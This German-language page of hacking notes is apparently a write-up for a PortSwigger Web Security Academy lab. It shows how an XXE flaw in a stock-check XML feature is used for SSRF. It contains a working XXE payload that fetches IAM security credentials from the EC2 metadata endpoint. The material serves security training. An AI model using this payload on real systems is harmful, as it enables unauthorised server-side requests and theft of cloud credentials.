> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xxe/xxe-to-perform-ssrf-attacks.md).

# XXE zur Durchführung von SSRF-Angriffen

Notizen zu XXE zur Durchführung von SSRF-Angriffen für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### XXE ausnutzen, um SSRF-Angriffe durchzuführen

Nutze eine XXE-Schwachstelle in der **"Bestand prüfen"** Funktion, die XML akzeptiert und eine SSRF-Anfrage an den EC2-Metadaten-Endpunkt verursacht (`HTTP://169.254.169.254/`) und den geheimen IAM-Schlüssel vom Server abzurufen.

Der Laborserver simuliert einen EC2-Metadaten-Endpunkt, der über die Standard `HTTP://169.254.169.254/` adresse. Durch das Einschleusen einer externen Entität in das an den verwundbaren Parser gesendete XML kann der Server gezwungen werden, die interne URL zu lesen und ihren Inhalt in der Antwort zurückzugeben.

#### XML starten

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
 <productId>
  4
 </productId>
 <storeId>
  1
 </storeId>
</stockCheck>
```

{% endcode %}

#### XXE-Payload zur Durchführung von SSRF

Bezug von einer externen Entität, die auf den IAM-Metadaten-Endpunkt verweist, und anschließendes Einbinden dieser Entität in das reflektierte Feld (`productId`):

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">]>
<stockCheck>
  <productId>
  &myFile;
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7237ab3bb1918399674a34bcb7788532ad1095f8%2F%7B79E922E8-7ACF-4E42-B7DC-AC47AA55193D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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